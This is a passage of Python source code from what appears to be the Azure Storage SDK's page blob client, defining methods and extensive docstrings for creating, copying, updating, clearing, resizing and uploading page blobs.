_BlobTypes, ResourceProperties) if sys.version_info >= (3,): from io import BytesIO else: from cStringIO import StringIO as BytesIO # Keep this value sync with _ERROR_PAGE_BLOB_SIZE_ALIGNMENT _PAGE_ALIGNMENT = 512 class PageBlobService(BaseBlobService): ''' Page blobs are a collection of 512-byte pages optimized for random read and write operations. To create a page blob, you initialize the page blob and specify the maximum size the page blob will grow. To add or update the contents of a page blob, you write a page or pages by specifying an offset and a range that align to 512-byte page boundaries. A write to a page blob can overwrite just one page, some pages, or up to 4 MB of the page blob. Writes to page blobs happen in-place and are immediately committed to the blob. The maximum size for a page blob is 8 TB. :ivar int MAX_PAGE_SIZE: The size of the pages put by create_blob_from_* methods. Smaller pages may be put if there is less data provided. The maximum page size the service supports is 4MB. When using the create_blob_from_* methods, empty pages are skipped. ''' MAX_PAGE_SIZE = 4 * 1024 * 1024 def __init__(self, account_name=None, account_key=None, sas_token=None, is_emulated=False, protocol=DEFAULT_PROTOCOL, endpoint_suffix=SERVICE_HOST_BASE, custom_domain=None, request_session=None, connection_string=None, socket_timeout=None, token_credential=None): ''' :param str account_name: The storage account name. This is used to authenticate requests signed with an account key and to construct the storage endpoint. It is required unless a connection string is given, or if a custom domain is used with anonymous authentication. :param str account_key: The storage account key. This is used for shared key authentication. If neither account key or sas token is specified, anonymous access will be used. :param str sas_token: A shared access signature token to use to authenticate requests instead of the account key. If account key and sas token are both specified, account key will be used to sign. If neither are specified, anonymous access will be used. :param bool is_emulated: Whether to use the emulator. Defaults to False. If specified, will override all other parameters besides connection string and request session. :param str protocol: The protocol to use for requests. Defaults to https. :param str endpoint_suffix: The host base component of the url, minus the account name. Defaults to Azure (core.windows.net). Override this to use the China cloud (core.chinacloudapi.cn). :param str custom_domain: The custom domain to use. This can be set in the Azure Portal. For example, 'www.mydomain.com'. :param requests.Session request_session: The session object to use for http requests. :param str connection_string: If specified, this will override all other parameters besides request session. See http://azure.microsoft.com/en-us/documentation/articles/storage-configure-connection-string/ for the connection string format. :param int socket_timeout: If specified, this will override the default socket timeout. The timeout specified is in seconds. See DEFAULT_SOCKET_TIMEOUT in _constants.py for the default value. :param token_credential: A token credential used to authenticate HTTPS requests. The token value should be updated before its expiration. :type `~azure.storage.common.TokenCredential` ''' self.blob_type = _BlobTypes.PageBlob super(PageBlobService, self).__init__( account_name, account_key, sas_token, is_emulated, protocol, endpoint_suffix, custom_domain, request_session, connection_string, socket_timeout, token_credential) def create_blob( self, container_name, blob_name, content_length, content_settings=None, sequence_number=None, metadata=None, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, premium_page_blob_tier=None): ''' Creates a new Page Blob. See create_blob_from_* for high level functions that handle the creation and upload of large blobs with automatic chunking and progress notifications. :param str container_name: Name of existing container. :param str blob_name: Name of blob to create or update. :param int content_length: Required. This header specifies the maximum size for the page blob, up to 1 TB. The page blob size must be aligned to a 512-byte boundary. :param ~azure.storage.blob.models.ContentSettings content_settings: ContentSettings object used to set properties on the blob. :param int sequence_number: The sequence number is a user-controlled value that you can use to track requests. The value of the sequence number must be between 0 and 2^63 - 1.The default value is 0. :param metadata: Name-value pairs associated with the blob as metadata. :type metadata: dict(str, str) :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. :param PremiumPageBlobTier premium_page_blob_tier: A page blob tier value to set the blob to. The tier correlates to the size of the blob and number of allowed IOPS. This is only applicable to page blobs on premium storage accounts. :return: ETag and last modified properties for the new Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_encryption_unsupported(self.require_encryption, self.key_encryption_key) return self._create_blob( container_name, blob_name, content_length, content_settings=content_settings, sequence_number=sequence_number, metadata=metadata, lease_id=lease_id, premium_page_blob_tier=premium_page_blob_tier, if_modified_since=if_modified_since, if_unmodified_since=if_unmodified_since, if_match=if_match, if_none_match=if_none_match, timeout=timeout ) def incremental_copy_blob(self, container_name, blob_name, copy_source, metadata=None, destination_if_modified_since=None, destination_if_unmodified_since=None, destination_if_match=None, destination_if_none_match=None, destination_lease_id=None, source_lease_id=None, timeout=None): ''' Copies an incremental copy of a blob asynchronously. This operation returns a copy operation properties object, including a copy ID you can use to check or abort the copy operation. The Blob service copies blobs on a best-effort basis. The source blob for an incremental copy operation must be a page blob. Call get_blob_properties on the destination blob to check the status of the copy operation. The final blob will be committed when the copy completes. :param str container_name: Name of the destination container. The container must exist. :param str blob_name: Name of the destination blob. If the destination blob exists, it will be overwritten. Otherwise, it will be created. :param str copy_source: A URL of up to 2 KB in length that specifies an Azure page blob. The value should be URL-encoded as it would appear in a request URI. The copy source must be a snapshot and include a valid SAS token or be public. Example: https://myaccount.blob.core.windows.net/mycontainer/myblob?snapshot=<DateTime>&sastoken :param metadata: Name-value pairs associated with the blob as metadata. If no name-value pairs are specified, the operation will copy the metadata from the source blob or file to the destination blob. If one or more name-value pairs are specified, the destination blob is created with the specified metadata, and metadata is not copied from the source blob or file. :type metadata: dict(str, str). :param datetime destination_if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this conditional header to copy the blob only if the destination blob has been modified since the specified date/time. If the destination blob has not been modified, the Blob service returns status code 412 (Precondition Failed). :param datetime destination_if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this conditional header to copy the blob only if the destination blob has not been modified since the specified ate/time. If the destination blob has been modified, the Blob service returns status code 412 (Precondition Failed). :param ETag destination_if_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to copy the blob only if the specified ETag value matches the ETag value for an existing destination blob. If the ETag for the destination blob does not match the ETag specified for If-Match, the Blob service returns status code 412 (Precondition Failed). :param ETag destination_if_none_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to copy the blob only if the specified ETag value does not match the ETag value for the destination blob. Specify the wildcard character (*) to perform the operation only if the destination blob does not exist. If the specified condition isn't met, the Blob service returns status code 412 (Precondition Failed). :param str destination_lease_id: The lease ID specified for this header must match the lease ID of the destination blob. If the request does not include the lease ID or it is not valid, the operation fails with status code 412 (Precondition Failed). :param str source_lease_id: Specify this to perform the Copy Blob operation only if the lease ID given matches the active lease ID of the source blob. :param int timeout: The timeout parameter is expressed in seconds. :return: Copy operation properties such as status, source, and ID. :rtype: :class:`~azure.storage.blob.models.CopyProperties` ''' return self._copy_blob(container_name, blob_name, copy_source, metadata, source_if_modified_since=None, source_if_unmodified_since=None, source_if_match=None, source_if_none_match=None, destination_if_modified_since=destination_if_modified_since, destination_if_unmodified_since=destination_if_unmodified_since, destination_if_match=destination_if_match, destination_if_none_match=destination_if_none_match, destination_lease_id=destination_lease_id, source_lease_id=source_lease_id, timeout=timeout, incremental_copy=True) def update_page( self, container_name, blob_name, page, start_range, end_range, validate_content=False, lease_id=None, if_sequence_number_lte=None, if_sequence_number_lt=None, if_sequence_number_eq=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' Updates a range of pages. :param str container_name: Name of existing container. :param str blob_name: Name of existing blob. :param bytes page: Content of the page. :param int start_range: Start of byte range to use for writing to a section of the blob. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-1023, etc. :param int end_range: End of byte range to use for writing to a section of the blob. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-1023, etc. :param bool validate_content: If true, calculates an MD5 hash of the page content. The storage service checks the hash of the content that has arrived with the hash that was sent. This is primarily valuable for detecting bitflips on the wire if using http instead of https as https (the default) will already validate. Note that this MD5 hash is not stored with the blob. :param str lease_id: Required if the blob has an active lease. :param int if_sequence_number_lte: If the blob's sequence number is less than or equal to the specified value, the request proceeds; otherwise it fails. :param int if_sequence_number_lt: If the blob's sequence number is less than the specified value, the request proceeds; otherwise it fails. :param int if_sequence_number_eq: If the blob's sequence number is equal to the specified value, the request proceeds; otherwise it fails. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to write the page only if the blob's ETag value matches the value specified. If the values do not match, the Blob service fails. :param str if_none_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to write the page only if the blob's ETag value does not match the value specified. If the values are identical, the Blob service fails. :param int timeout: The timeout parameter is expressed in seconds. :return: ETag and last modified properties for the updated Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_encryption_unsupported(self.require_encryption, self.key_encryption_key) return self._update_page( container_name, blob_name, page, start_range, end_range, validate_content=validate_content, lease_id=lease_id, if_sequence_number_lte=if_sequence_number_lte, if_sequence_number_lt=if_sequence_number_lt, if_sequence_number_eq=if_sequence_number_eq, if_modified_since=if_modified_since, if_unmodified_since=if_unmodified_since, if_match=if_match, if_none_match=if_none_match, timeout=timeout ) def update_page_from_url(self, container_name, blob_name, start_range, end_range, copy_source_url, source_range_start, source_content_md5=None, source_if_modified_since=None, source_if_unmodified_since=None, source_if_match=None, source_if_none_match=None, lease_id=None, if_sequence_number_lte=None, if_sequence_number_lt=None, if_sequence_number_eq=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): """ Updates a range of pages to a page blob where the contents are read from a URL. :param str container_name: Name of existing container. :param str blob_name: Name of blob. :param int start_range: Start of byte range to use for writing to a section of the blob. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-1023, etc. :param int end_range: End of byte range to use for writing to a section of the blob. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-1023, etc. :param str copy_source_url: The URL of the source data. It can point to any Azure Blob or File, that is either public or has a shared access signature attached. :param int source_range_start: This indicates the start of the range of bytes(inclusive) that has to be taken from the copy source. The service will read the same number of bytes as the destination range (end_range-start_range). :param str source_content_md5: If given, the service will calculate the MD5 hash of the block content and compare against this value. :param datetime source_if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the source resource has been modified since the specified time. :param datetime source_if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the source resource has not been modified since the specified date/time. :param str source_if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the source resource's ETag matches the value specified. :param str source_if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the source resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the source resource does not exist, and fail the operation if it does exist. :param str lease_id: Required if the blob has an active lease. :param int if_sequence_number_lte: If the blob's sequence number is less than or equal to the specified value, the request proceeds; otherwise it fails. :param int if_sequence_number_lt: If the blob's sequence number is less than the specified value, the request proceeds; otherwise it fails. :param int if_sequence_number_eq: If the blob's sequence number is equal to the specified value, the request proceeds; otherwise it fails. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. """ _validate_encryption_unsupported(self.require_encryption, self.key_encryption_key) _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('copy_source_url', copy_source_url) request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'page', 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-page-write': 'update', 'x-ms-copy-source': copy_source_url, 'x-ms-source-content-md5': source_content_md5, 'x-ms-source-if-Modified-Since': _datetime_to_utc_string(source_if_modified_since), 'x-ms-source-if-Unmodified-Since': _datetime_to_utc_string(source_if_unmodified_since), 'x-ms-source-if-Match': _to_str(source_if_match), 'x-ms-source-if-None-Match': _to_str(source_if_none_match), 'x-ms-lease-id': _to_str(lease_id), 'x-ms-if-sequence-number-le': _to_str(if_sequence_number_lte), 'x-ms-if-sequence-number-lt': _to_str(if_sequence_number_lt), 'x-ms-if-sequence-number-eq': _to_str(if_sequence_number_eq), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match) } _validate_and_format_range_headers( request, start_range, end_range, align_to_page=True) _validate_and_format_range_headers( request, source_range_start, source_range_start+(end_range-start_range), range_header_name="x-ms-source-range") return self._perform_request(request, _parse_page_properties) def clear_page( self, container_name, blob_name, start_range, end_range, lease_id=None, if_sequence_number_lte=None, if_sequence_number_lt=None, if_sequence_number_eq=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' Clears a range of pages. :param str container_name: Name of existing container. :param str blob_name: Name of existing blob. :param int start_range: Start of byte range to use for writing to a section of the blob. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-1023, etc. :param int end_range: End of byte range to use for writing to a section of the blob. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-1023, etc. :param str lease_id: Required if the blob has an active lease. :param int if_sequence_number_lte: If the blob's sequence number is less than or equal to the specified value, the request proceeds; otherwise it fails. :param int if_sequence_number_lt: If the blob's sequence number is less than the specified value, the request proceeds; otherwise it fails. :param int if_sequence_number_eq: If the blob's sequence number is equal to the specified value, the request proceeds; otherwise it fails. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to write the page only if the blob's ETag value matches the value specified. If the values do not match, the Blob service fails. :param str if_none_match: An ETag value, or the wildcard character (*). Specify an ETag value for this conditional header to write the page only if the blob's ETag value does not match the value specified. If the values are identical, the Blob service fails. :param int timeout: The timeout parameter is expressed in seconds. :return: ETag and last modified properties for the updated Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'page', 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-page-write': 'clear', 'x-ms-lease-id': _to_str(lease_id), 'x-ms-if-sequence-number-le': _to_str(if_sequence_number_lte), 'x-ms-if-sequence-number-lt': _to_str(if_sequence_number_lt), 'x-ms-if-sequence-number-eq': _to_str(if_sequence_number_eq), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match) } _validate_and_format_range_headers( request, start_range, end_range, align_to_page=True) return self._perform_request(request, _parse_page_properties) def get_page_ranges( self, container_name, blob_name, snapshot=None, start_range=None, end_range=None, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' Returns the list of valid page ranges for a Page Blob or snapshot of a page blob. :param str container_name: Name of existing container. :param str blob_name: Name of existing blob. :param str snapshot: The snapshot parameter is an opaque DateTime value that, when present, specifies the blob snapshot to retrieve information from. :param int start_range: Start of byte range to use for getting valid page ranges. If no end_range is given, all bytes after the start_range will be searched. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-, etc. :param int end_range: End of byte range to use for getting valid page ranges. If end_range is given, start_range must be provided. This range will return valid page ranges for from the offset start up to offset end. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-, etc. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. :return: A list of valid Page Ranges for the Page Blob. :rtype: list(:class:`~azure.storage.blob.models.PageRange`) ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) request = HTTPRequest() request.method = 'GET' request.host_locations = self._get_host_locations(secondary=True) request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'pagelist', 'snapshot': _to_str(snapshot), 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-lease-id': _to_str(lease_id), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match), } if start_range is not None: _validate_and_format_range_headers( request, start_range, end_range, start_range_required=False, end_range_required=False, align_to_page=True) return self._perform_request(request, _convert_xml_to_page_ranges) def get_page_ranges_diff( self, container_name, blob_name, previous_snapshot, snapshot=None, start_range=None, end_range=None, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' The response will include only the pages that are different between either a recent snapshot or the current blob and a previous snapshot, including pages that were cleared. :param str container_name: Name of existing container. :param str blob_name: Name of existing blob. :param str previous_snapshot: The snapshot parameter is an opaque DateTime value that specifies a previous blob snapshot to be compared against a more recent snapshot or the current blob. :param str snapshot: The snapshot parameter is an opaque DateTime value that specifies a more recent blob snapshot to be compared against a previous snapshot (previous_snapshot). :param int start_range: Start of byte range to use for getting different page ranges. If no end_range is given, all bytes after the start_range will be searched. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-, etc. :param int end_range: End of byte range to use for getting different page ranges. If end_range is given, start_range must be provided. This range will return valid page ranges for from the offset start up to offset end. Pages must be aligned with 512-byte boundaries, the start offset must be a modulus of 512 and the end offset must be a modulus of 512-1. Examples of valid byte ranges are 0-511, 512-, etc. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. :return: A list of different Page Ranges for the Page Blob. :rtype: list(:class:`~azure.storage.blob.models.PageRange`) ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('previous_snapshot', previous_snapshot) request = HTTPRequest() request.method = 'GET' request.host_locations = self._get_host_locations(secondary=True) request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'pagelist', 'snapshot': _to_str(snapshot), 'prevsnapshot': _to_str(previous_snapshot), 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-lease-id': _to_str(lease_id), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match), } if start_range is not None: _validate_and_format_range_headers( request, start_range, end_range, start_range_required=False, end_range_required=False, align_to_page=True) return self._perform_request(request, _convert_xml_to_page_ranges) def set_sequence_number( self, container_name, blob_name, sequence_number_action, sequence_number=None, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' Sets the blob sequence number. :param str container_name: Name of existing container. :param str blob_name: Name of existing blob. :param str sequence_number_action: This property indicates how the service should modify the blob's sequence number. See :class:`~azure.storage.blob.models.SequenceNumberAction` for more information. :param str sequence_number: This property sets the blob's sequence number. The sequence number is a user-controlled property that you can use to track requests and manage concurrency issues. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. :return: ETag and last modified properties for the updated Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('sequence_number_action', sequence_number_action) request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'properties', 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-blob-sequence-number': _to_str(sequence_number), 'x-ms-sequence-number-action': _to_str(sequence_number_action), 'x-ms-lease-id': _to_str(lease_id), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match), } return self._perform_request(request, _parse_page_properties) def resize_blob( self, container_name, blob_name, content_length, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None): ''' Resizes a page blob to the specified size. If the specified value is less than the current size of the blob, then all pages above the specified value are cleared. :param str container_name: Name of existing container. :param str blob_name: Name of existing blob. :param int content_length: Size to resize blob to. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. :return: ETag and last modified properties for the updated Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('content_length', content_length) request = HTTPRequest() request.method = 'PUT' request.host_locations = self._get_host_locations() request.path = _get_path(container_name, blob_name) request.query = { 'comp': 'properties', 'timeout': _int_to_str(timeout), } request.headers = { 'x-ms-blob-content-length': _to_str(content_length), 'x-ms-lease-id': _to_str(lease_id), 'If-Modified-Since': _datetime_to_utc_string(if_modified_since), 'If-Unmodified-Since': _datetime_to_utc_string(if_unmodified_since), 'If-Match': _to_str(if_match), 'If-None-Match': _to_str(if_none_match), } return self._perform_request(request, _parse_page_properties) # ----Convenience APIs----------------------------------------------------- def create_blob_from_path( self, container_name, blob_name, file_path, content_settings=None, metadata=None, validate_content=False, progress_callback=None, max_connections=2, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, premium_page_blob_tier=None): ''' Creates a new blob from a file path, or updates the content of an existing blob, with automatic chunking and progress notifications. Empty chunks are skipped, while non-emtpy ones(even if only partly filled) are uploaded. :param str container_name: Name of existing container. :param str blob_name: Name of blob to create or update. :param str file_path: Path of the file to upload as the blob content. :param ~azure.storage.blob.models.ContentSettings content_settings: ContentSettings object used to set blob properties. :param metadata: Name-value pairs associated with the blob as metadata. :type metadata: dict(str, str) :param bool validate_content: If true, calculates an MD5 hash for each page of the blob. The storage service checks the hash of the content that has arrived with the hash that was sent. This is primarily valuable for detecting bitflips on the wire if using http instead of https as https (the default) will already validate. Note that this MD5 hash is not stored with the blob. :param progress_callback: Callback for progress with signature function(current, total) where current is the number of bytes transfered so far, and total is the size of the blob, or None if the total size is unknown. :type progress_callback: func(current, total) :param int max_connections: Maximum number of parallel connections to use. :param str lease_id: Required if the blob has an active lease. :param datetime if_modified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has been modified since the specified time. :param datetime if_unmodified_since: A DateTime value. Azure expects the date value passed in to be UTC. If timezone is included, any non-UTC datetimes will be converted to UTC. If a date is passed in without timezone info, it is assumed to be UTC. Specify this header to perform the operation only if the resource has not been modified since the specified date/time. :param str if_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag matches the value specified. :param str if_none_match: An ETag value, or the wildcard character (*). Specify this header to perform the operation only if the resource's ETag does not match the value specified. Specify the wildcard character (*) to perform the operation only if the resource does not exist, and fail the operation if it does exist. :param int timeout: The timeout parameter is expressed in seconds. This method may make multiple calls to the Azure service and the timeout will apply to each call individually. :param premium_page_blob_tier: A page blob tier value to set the blob to. The tier correlates to the size of the blob and number of allowed IOPS. This is only applicable to page blobs on premium storage accounts. :return: ETag and last modified properties for the Page Blob :rtype: :class:`~azure.storage.blob.models.ResourceProperties` ''' _validate_not_none('container_name', container_name) _validate_not_none('blob_name', blob_name) _validate_not_none('file_path', file_path) count = path.getsize(file_path) with open(file_path, 'rb') as stream: return self.create_blob_from_stream( container_name=container_name, blob_name=blob_name, stream=stream, count=count, content_settings=content_settings, metadata=metadata, validate_content=validate_content, progress_callback=progress_callback, max_connections=max_connections, lease_id=lease_id, if_modified_since=if_modified_since, if_unmodified_since=if_unmodified_since, if_match=if_match, if_none_match=if_none_match, timeout=timeout, premium_page_blob_tier=premium_page_blob_tier) def create_blob_from_stream( self, container_name, blob_name, stream, count, content_settings=None, metadata=None, validate_content=False, progress_callback=None, max_connections=2, lease_id=None, if_modified_since=None, if_unmodified_since=None, if_match=None, if_none_match=None, timeout=None, premium_page_blob_tier=None): ''' Creates a new blob from a file/stream, or updates the content of an existing blob, with automatic chunking and progress 